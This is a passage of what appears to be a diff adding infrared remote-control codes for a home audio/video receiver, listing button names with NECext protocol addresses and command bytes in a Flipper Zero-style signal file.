00 00 00 +# +name: NET:_ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 2C 00 00 00 +# +name: NET:_ENT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 2C 00 00 00 +# +name: ENT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 2C 00 00 00 +# +name: NET/USB_ENT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 2C 00 00 00 +# +name: HD_RADIO:_ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 2C 00 00 00 +# +name: NET_SETUP:_ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 2C 00 00 00 +# +name: HD_RADIO:_ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 2C 00 00 00 +# +name: NET_TITLE +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 2D 00 00 00 +# +name: NET:_TITLE +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 2D 00 00 00 +# +name: NET_CURSOR_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 2E 00 00 00 +# +name: NET:_CURSOR_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 2E 00 00 00 +# +name: IPOD_MENU +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 2E 00 00 00 +# +name: NET/USB_NAV_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 2E 00 00 00 +# +name: USB_MENU_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 2E 00 00 00 +# +name: NET:_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 2E 00 00 00 +# +name: NET:_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 2E 00 00 00 +# +name: SETUP:_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 2E 00 00 00 +# +name: NET_MENU +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 2F 00 00 00 +# +name: NET:_MENU +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 2F 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 2F 00 00 00 +# +name: HD_RADIO:_MEMORY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 2F 00 00 00 +# +name: HD_RADIO:_MEMORY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 2F 00 00 00 +# +name: NET_CURSOR_LEFT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 30 00 00 00 +# +name: NET:_CURSOR_LEFT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 30 00 00 00 +# +name: NET/USB_NAV_LEFT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 30 00 00 00 +# +name: USB_MENU_LEFT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 30 00 00 00 +# +name: NET:_LEFT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 30 00 00 00 +# +name: NET:_LEFT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 30 00 00 00 +# +name: SETUP:_LEFT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 30 00 00 00 +# +name: NET_CURSOR_ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 31 00 00 00 +# +name: NET:_CURSOR_ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 31 00 00 00 +# +name: NAV_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 31 00 00 00 +# +name: NET/USB_NAV_ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 31 00 00 00 +# +name: USB_ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 31 00 00 00 +# +name: NET_SETUP:_ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 31 00 00 00 +# +name: NET:_ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 31 00 00 00 +# +name: SETUP:_ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 31 00 00 00 +# +name: NET_CURSOR_RIGHT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 32 00 00 00 +# +name: NET:_CURSOR_RIGHT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 32 00 00 00 +# +name: NAV_LEFT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 32 00 00 00 +# +name: NET/USB_NAV_RIGHT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 32 00 00 00 +# +name: USB_MENU_RIGHT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 32 00 00 00 +# +name: NET:_RIGHT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 32 00 00 00 +# +name: SETUP:_RIGHT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 32 00 00 00 +# +name: NET_MEM +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 33 00 00 00 +# +name: NET:_MEMORY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 33 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 33 00 00 00 +# +name: NET/USB_MEMORY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 33 00 00 00 +# +name: USB_RETURN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 33 00 00 00 +# +name: HD_RAD_SETUP:_ENT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 33 00 00 00 +# +name: NET:_MEMORY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 33 00 00 00 +# +name: HD_RAD_SETUP:_ENT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 33 00 00 00 +# +name: NET_CURSOR_DOWN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 34 00 00 00 +# +name: NET:_CURSOR_DOWN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 34 00 00 00 +# +name: NAV_RIGHT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 34 00 00 00 +# +name: NET/USB_NAV_DOWN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 34 00 00 00 +# +name: USB_MENU_DOWN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 34 00 00 00 +# +name: NET:_DOWN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 34 00 00 00 +# +name: NET:_DOWN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 34 00 00 00 +# +name: SETUP:_DOWN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 34 00 00 00 +# +name: NET_DISPLAY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 35 00 00 00 +# +name: NET:_DISPLAY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 35 00 00 00 +# +name: NAV_DOWN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 35 00 00 00 +# +name: USB_DISPLAY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 35 00 00 00 +# +name: NET_REC(PC/MCX) +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 36 00 00 00 +# +name: NET_INPUT:_PC/MCX +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 36 00 00 00 +# +name: NET:_PC/MCX +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 36 00 00 00 +# +name: NET:_REC +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 36 00 00 00 +# +name: NET_REW_(RADIO) +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 37 00 00 00 +# +name: NET_INPUT:_NET_RADIO +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 37 00 00 00 +# +name: NET:_IRADIO +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 37 00 00 00 +# +name: NET:_REW +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 37 00 00 00 +# +name: NET_FF(USB) +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 38 00 00 00 +# +name: NET_INPUT:_USB +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 38 00 00 00 +# +name: NET:_FF +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 38 00 00 00 +# +name: NET:_USB +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 38 00 00 00 +# +name: NET_PAUSE +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 3A 00 00 00 +# +name: NET:_PAUSE +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 3A 00 00 00 +# +name: NET:_PAUSE +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 3A 00 00 00 +# +name: NET_SKIP_- +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 3B 00 00 00 +# +name: NET:_SKIP_- +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 3B 00 00 00 +# +name: NET:_SKIP- +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 3B 00 00 00 +# +name: NET/USB_SKIP_- +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 3B 00 00 00 +# +name: USB_SKIP_BACK +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 3B 00 00 00 +# +name: NET_SKIP_+ +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 3C 00 00 00 +# +name: NET:_SKIP_+ +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 3C 00 00 00 +# +name: NET:_SKIP+ +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 3C 00 00 00 +# +name: PROGRAM_SELECT_- +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 3C 00 00 00 +# +name: NET/USB_SKIP_+ +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 3C 00 00 00 +# +name: USB_SKIP_FORWARD +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 3C 00 00 00 +# +name: NET_STOP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 3D 00 00 00 +# +name: NET:_STOP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 3D 00 00 00 +# +name: PROGRAM_SELECT_+ +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 3D 00 00 00 +# +name: NET/USB_STOP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 3D 00 00 00 +# +name: USB_STOP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 3D 00 00 00 +# +name: NET_PLAY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 3E 00 00 00 +# +name: NET:_PLAY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 3E 00 00 00 +# +name: NET/USB_PLAY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 3E 00 00 00 +# +name: USB_PLAY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 3E 00 00 00 +# +name: NET:_PLAY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 3E 00 00 00 +# +name: INPUT_NET/USB +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 3F 00 00 00 +# +name: INPUT_USB-NET +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 3F 00 00 00 +# +name: MZ_IN:_NET/USB +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 3F 00 00 00 +# +name: Z2_IN:_NET/USB +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 3F 00 00 00 +# +name: MZ:_NET/USB +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 3F 00 00 00 +# +name: INP_NET/USB +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 3F 00 00 00 +# +name: USB_INPUT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 3F 00 00 00 +# +name: MZ:_INP_NET/USB +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 3F 00 00 00 +# +name: Z2_IN_NET/USB +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 40 00 00 00 +# +name: ZONE2_INPUT_USB-NET +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 40 00 00 00 +# +name: Z3_IN:_NET/USB +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 40 00 00 00 +# +name: Z2:_NET/USB +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 40 00 00 00 +# +name: DOCK_SIMPL_REMOTE +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 40 00 00 00 +# +name: INP_NET/USB +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 40 00 00 00 +# +name: DOCK_SIMPLE_REMOT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 40 00 00 00 +# +name: Z2:_INP_NET/USB +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 40 00 00 00 +# +name: Z2_INP:_NET/USB +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 40 00 00 00 +# +name: Z2_INP:_NET/USB +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 40 00 00 00 +# +name: Z3_IN_NET/USB +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 41 00 00 00 +# +name: ZONE3_INPUT_USB-NET +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 41 00 00 00 +# +name: Z3:_NET/USB +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 41 00 00 00 +# +name: DOCK_MENU_BROWSE +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 41 00 00 00 +# +name: INP_NET/USB +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 41 00 00 00 +# +name: Z3:_INP_NET/USB +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 41 00 00 00 +# +name: Z3_INP:_NET/USB +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 41 00 00 00 +# +name: Z3_INP:_NET/USB +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 41 00 00 00 +# +name: DOCK_PAGE_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 42 00 00 00 +# +name: IPOD:_PAGE_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 42 00 00 00 +# +name: IPOD:_PAGE_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 42 00 00 00 +# +name: DOCK_PAGE_DOWN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 43 00 00 00 +# +name: IPOD:_PAGE_DOWN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 43 00 00 00 +# +name: IPOD:_PAGE_DOWN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 43 00 00 00 +# +name: NET_PAGE_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 44 00 00 00 +# +name: NET:_PAGE_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 44 00 00 00 +# +name: NET:_PAGE_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 44 00 00 00 +# +name: NET_PAGE_DOWN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 45 00 00 00 +# +name: NET:_PAGE_DOWN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 45 00 00 00 +# +name: NET:_PAGE_DOWN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 45 00 00 00 +# +name: NET_BOOK_MARK_ON +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 46 00 00 00 +# +name: NET:_BOOKMARK_ON +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 46 00 00 00 +# +name: NET:_BOOKMARK_ON +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 46 00 00 00 +# +name: NET_BOOK_MARK_OFF +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 47 00 00 00 +# +name: NET:_BOOKMARK_OFF +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 47 00 00 00 +# +name: NET:_BOOKMARK_OFF +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 47 00 00 00 +# +name: INPUT_RHAPSODY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 48 00 00 00 +# +name: INP_RHAPSODY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 48 00 00 00 +# +name: MZ_INP:_RHAPSODY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 48 00 00 00 +# +name: MZ_INP:_RHAPSODY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 48 00 00 00 +# +name: INP_SIRIUS_INTERNET +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 49 00 00 00 +# +name: Z4:_INP_NET/USB +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 49 00 00 00 +# +name: MZ_INP:_SIRIUS_INTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 49 00 00 00 +# +name: MZ_INP:_SIRIUS_INTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 49 00 00 00 +# +name: Z4_INP:_NET/USB +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 49 00 00 00 +# +name: Z4_INP:_NET/USB +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 49 00 00 00 +# +name: INPUT_DOCK +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 4A 00 00 00 +# +name: INP_DOCK +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 4A 00 00 00 +# +name: STEREO +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 4A 00 00 00 +# +name: DOCK_INPUT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 4A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 4A 00 00 00 +# +name: MZ:_INP_DOCK +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 4A 00 00 00 +# +name: MZ_INP:_DOCK +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 4A 00 00 00 +# +name: MZ_INP:_DOCK +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 4A 00 00 00 +# +name: MONO +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 4B 00 00 00 +# +name: INP_DOCK +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 4B 00 00 00 +# +name: Z2:_DOCK +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 4B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 4B 00 00 00 +# +name: Z2_INPUT_DOCK +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 4B 00 00 00 +# +name: Z2:_INP_DOCK +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 4B 00 00 00 +# +name: Z2_INP:_DOCK +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 4B 00 00 00 +# +name: Z2_INP:_DOCK +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 4B 00 00 00 +# +name: STEREO +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 4C 00 00 00 +# +name: INP_DOCK +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 4C 00 00 00 +# +name: Z3:_INP_DOCK +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 4C 00 00 00 +# +name: Z3_INP:_DOCK +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 4C 00 00 00 +# +name: Z3_INP:_DOCK +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 4C 00 00 00 +# +name: MONO +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 4D 00 00 00 +# +name: Z4:_INP_DOCK +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 4D 00 00 00 +# +name: Z4_INP:_DOCK +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 4D 00 00 00 +# +name: DOCK_PAIRING +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 4E 00 00 00 +# +name: DOCK_PAIRING_CANCL +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 4F 00 00 00 +# +name: DOCK_PARING_CANCEL +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 4F 00 00 00 +# +name: DOCK_CONNECT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 50 00 00 00 +# +name: DOCK_DISCONNECT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 51 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 51 00 00 00 +# +name: SRCE:_MZ_1 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 51 00 00 00 +# +name: INPUT_PC +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 52 00 00 00 +# +name: INP_PC/MCX +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 52 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 52 00 00 00 +# +name: SRCE:_MZ_2 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 52 00 00 00 +# +name: MZ_INP:_PC/MCX +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 52 00 00 00 +# +name: MZ_INP:_PC/MCX +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 52 00 00 00 +# +name: INPUT_NET_RADIO +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 53 00 00 00 +# +name: INP_NET_RADIO +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 53 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 53 00 00 00 +# +name: SRCE:_MZ_3 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 53 00 00 00 +# +name: MZ_INP:_NET_RADIO +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 53 00 00 00 +# +name: MZ_INP:_NET_RADIO +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 53 00 00 00 +# +name: Z2_SOURCE:_3 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 53 00 00 00 +# +name: INPUT_USB +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 54 00 00 00 +# +name: INP_USB +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 54 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 54 00 00 00 +# +name: SRCE:_MZ_4 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 54 00 00 00 +# +name: MZ_INP:_USB +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 54 00 00 00 +# +name: MZ_INP:_USB +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 54 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 55 00 00 00 +# +name: SOURCE:_CAT./BAND+ +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 55 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 55 00 00 00 +# +name: MZ_OP-CAT_BAND_+ +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 55 00 00 00 +# +name: SRCE:_MZ_5 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 55 00 00 00 +# +name: Z2_SOURCE:_5 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 55 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 56 00 00 00 +# +name: Z2:SOURC:_CAT/BAND_+ +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 56 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 56 00 00 00 +# +name: Z2_OP-CAT_BAND_+ +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 56 00 00 00 +# +name: SRCE:_MZ_6 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 56 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 57 00 00 00 +# +name: SRCE:_MZ_7 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 57 00 00 00 +# +name: Z2_SOURCE:_7 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 57 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 58 00 00 00 +# +name: SOURCE:_CAT./BAND- +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 58 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 58 00 00 00 +# +name: MZ_OP-CAT_BAND_- +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 58 00 00 00 +# +name: SRCE:_MZ_8 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 58 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 59 00 00 00 +# +name: Z2:SOURC:_CAT/BAND_- +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 59 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 59 00 00 00 +# +name: Z2_OP-CAT_BAND_- +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 59 00 00 00 +# +name: SRCE:_MZ_9 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 59 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 5A 00 00 00 +# +name: SRCE:_MZ_0 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 5A 00 00 00 +# +name: SOURCE:_PRESET+ +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 5B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 5B 00 00 00 +# +name: MZ_OP-PRESET_+ +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 5B 00 00 00 +# +name: Z2:_SOURCE:PRESET_+ +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 5C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 5C 00 00 00 +# +name: Z2_OP-PRESET_+ +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 5C 00 00 00 +# +name: TUNER:_MZ_ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 5C 00 00 00 +# +name: XM:_MZ_ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 5C 00 00 00 +# +name: PARENTAL_LOCK +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 5D 00 00 00 +# +name: MODE_1 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 5D 00 00 00 +# +name: TUNER:_MZ_BAND +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 5D 00 00 00 +# +name: XM:_MZ_TITLE +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 5D 00 00 00 +# +name: MODE_2 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 5E 00 00 00 +# +name: SOURCE:_PRESET- +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 5E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 5E 00 00 00 +# +name: MZ_OP-PRESET_- +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 5E 00 00 00 +# +name: DOCK:_MZ_MENU +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 5E 00 00 00 +# +name: NETUSB:_MZ_MENU +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 5E 00 00 00 +# +name: TUNER:_MZ_SRCHM +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 5E 00 00 00 +# +name: XM:_MZ_SRCH_MODE +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 5E 00 00 00 +# +name: MODE_3 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 5F 00 00 00 +# +name: Z2:_SOURCE:PRESET_- +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 5F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 5F 00 00 00 +# +name: Z2_OP-PRESET_- +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 5F 00 00 00 +# +name: SRCE:_MZ_MEMORY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 5F 00 00 00 +# +name: MODE_4 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 60 00 00 00 +# +name: SOURCE:_DISPLAY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 60 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 60 00 00 00 +# +name: MZ_SOURCE_DISPLAY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 60 00 00 00 +# +name: SRCE:_MZ_DISPLAY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 60 00 00 00 +# +name: SETUP_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 61 00 00 00 +# +name: SOURCE:TUNING/CH+ +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 61 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 61 00 00 00 +# +name: MZ_OP-TUNING_+ +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 61 00 00 00 +# +name: SRCE:_MZ_CURS_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 61 00 00 00 +# +name: SETUP:_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 61 00 00 00 +# +name: SETUP_LEFT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 62 00 00 00 +# +name: Z2:SOURCE:TUNING/CH+ +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 62 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 62 00 00 00 +# +name: Z2_OP-TUNING_+ +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 62 00 00 00 +# +name: SRCE:_MZ_CURS_LEFT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 62 00 00 00 +# +name: SETUP_ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 63 00 00 00 +# +name: SRCE:_MZ_CURS_ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: 63 00 00 